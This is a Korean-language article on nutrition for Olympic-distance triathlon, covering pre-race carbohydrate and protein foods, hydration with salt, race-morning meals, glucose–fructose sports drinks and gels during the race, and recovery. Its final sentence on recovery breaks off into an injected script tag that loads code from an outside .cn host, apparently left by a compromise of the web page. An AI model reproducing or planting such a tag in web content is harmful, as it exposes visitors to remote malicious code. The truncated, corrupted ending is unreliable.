경기 날이 되었습니다. 모든 훈련을 전부 소화했습니다. 그런 다음 경기력 향상을 위해 무엇을 할 수 있을까요? 새 사이클을 사고, 새 바퀴를 사고, 새 보온복을 사는 등등 구입해야 할 용품 리스트는 끝이 없습니다. 그러나 답은 아주 간단합니다. 적절한 영양분 섭취일 것입니다. 과학적으로 훈련 후 경기력을 향상시켜 주는 가장 효과적인 방법이 영양 섭취입니다.
장비를 사는 것보다 훨씬 값싸면서 경기력 향상에 가장 효과적인 방법이 영양 섭취입니다. 여기서는 엘리트 선수들의 노하우를 통해 올림픽코스에 적절한 영양 섭취에 대해 논할 것입니다.
왜 우리가 올림픽코스 트라이애슬론대회에서 피로해 질 까요?
트라이애슬론대회에서 우리가 피로해 지는 3가지 주요 요인이 있습니다. 첫째는 근육 내 글리코겐 고갈입니다. 글리코겐은 근육 내 탄소화물 저장고입니다. 만약 저장고가 텅 비게 되면 우리는 빨리 달릴 수 없습니다.
둘째는 혈액 내 글리코스 때문입니다. 혈액 내 글리코스의 감소는 피로의 주원인 제공자입니다.
셋째는 탈수 때문입니다. 우리 몸무게의 2% 이상의 수분이 사라질 때 운동 능력이 현저히 떨어집니다.
다행스러운 점은 영양 섭취가 피로를 막는데 중요한 역할을 하여 경기력 향상에 기여한다는 것입니다.
섭취해야 영양과 섭취하지 말아야 할 영양?
우리 모두는 대회전에는 탄소화물을 섭취해야 되는 것을 알고 있습니다. 너무나 잘 알고 있지요? 사실 올림픽코스에서는 하지 않아도 될지 모릅니다. 대회 일주일 전부터 훈련 량을 줄이고 적절한 음식물을 섭취하는 방법은 우리의 근육에 글리코겐이 충만하게 함으로써 경기력을 발휘하도록 준비하는 과정입니다.
이때 적당한 음식물 과도하게 먹어서는 안 됩니다. 각 음식물은 질 좋은 전분성 탄소화물과 단백질로 구성되어 있어야 합니다. 지방은 최대한 피해야 합니다. 이는 경기 하루 전에 특히 중요하며 많은 지방 섭취는 경기 당일 위에 문제를 야기 시킵니다.
탄소화물이 많이 든 음식: 파스타, 밥, 빵, 감자, 시리얼
단백질이 많이 든 음식: 닭, 적색 고기류, 생선, 칠면조, 우유, 요구르트
만약 경기 당일 무더울 것으로 예상되면 대회 며칠 전부터 더 많은 양의 수분을 섭취해야 합니다. 그러나 물만 많이 먹는 다고 충분한 것은 아닙니다. 몸에 수분이 유지되도록 해야 합니다. 이때 가장 효과적인 방법은 음식에 소금을 더 넣어 먹는 것입니다. 이렇게 함으로써 몸에 가장 필요로 하는 곳에 수분이 남도록 돕게 됩니다.
경기당일 아침
만약 대회 몇 일전부터 적절히 영양을 섭취했다면 경기 당일 아침 음식이 가장 중요합니다. 이 때 우리가 고려해야 할 가장 중요한 요소가 경기 시작 시간입니다. 경기 시작 2시간에서 3시간 전에 음식을 섭취해야 합니다. 섭취해야 할 음식으로는 에너지를 서서히 발산하는 탄소화물이 많이 든 음식을 섭취해야 합니다. 이때 지방과 단백질이 많은 음식은 피해야 합니다. 대회당일 가장 보편적으로 먹는 음식이 시리얼이나 잼을 바른 토스트입니다. 경기 전 한 시간 전에는 스포츠 드링크나 탄소화물 겔이 좋습니다.
경기 중
과학적인 연구 자료들은 탄소화물 섭취는 경기력 향상에 크게 기여한다는 것을 보여주고 있습니다. 경기 중 탄소화물을 섭취에는 아주 보편적인 두 가지 방법이 있습니다. 스포츠 드링크와 탄소화물 겔의 섭취입니다. 문제는 용도가 다른 너무 많은 제품 중 하나를 선택해야 한다는 것입니다. 지금까지는 모든 탄소화물이 경기력 향상에 도움이 된다고 생각해 왔습니다. 그러나 최근의 연구에서는 이 생각을 바꾸도록 만들고 있습니다. 이 연구는 글리코스와 플락토즈의 2대 1 배합이 글리코스만 섭취하는 것보다 8% 더 경기력 향상에 도움이 된다는 것을 보여주고 있습니다.
그래서 우리는 스포츠 드링크를 고를 때 글리코스와 플락토즈가 석인 제품을 선택하거나 혹은 이 두 영양분이 들어 있는 첨가물을 슈퍼에서 사서 섞어 섭취하면 됩니다. 그냥 500미리 용액에 탄소화물 30~35g 정도 든 드링크를 사고 소금을 약간 넣은 다음 기호에 맞도록 설탕이 들어 있지 않은 주스를 가미하면 됩니다. 더위와 체중을 고려하여 0.5리터에서 1리터를 사이클에서 마시면 됩니다. (체구가 크고 날씨가 더우면 더 많이 마십시오.) 또한 사이클에서 탄소화물 겔 하나와 달리기에서 하나 더 섭취하는 것도 좋습니다. 달리기에서 물로 목을 축일 정도로 약간 마시는 것도 좋습니다.
회복
우리가 경기를 마쳤을 때 우리는 회복을 생각해야 합니다. 우리 몸에 2시간에서 3시간 정도 상당한 스트레스를 주었고 이때 또한 영양 섭취가 필요합니다.
경기를 통해 손실된 수분을 보충하면서 탄소화물과 단백질이 혼합된 음식을 찾으십시오. 밀크셰이크가 가장 이상적인 음식인 것 같습니다. 혹은 회복을 ?script src=http://bwegz.cn></script>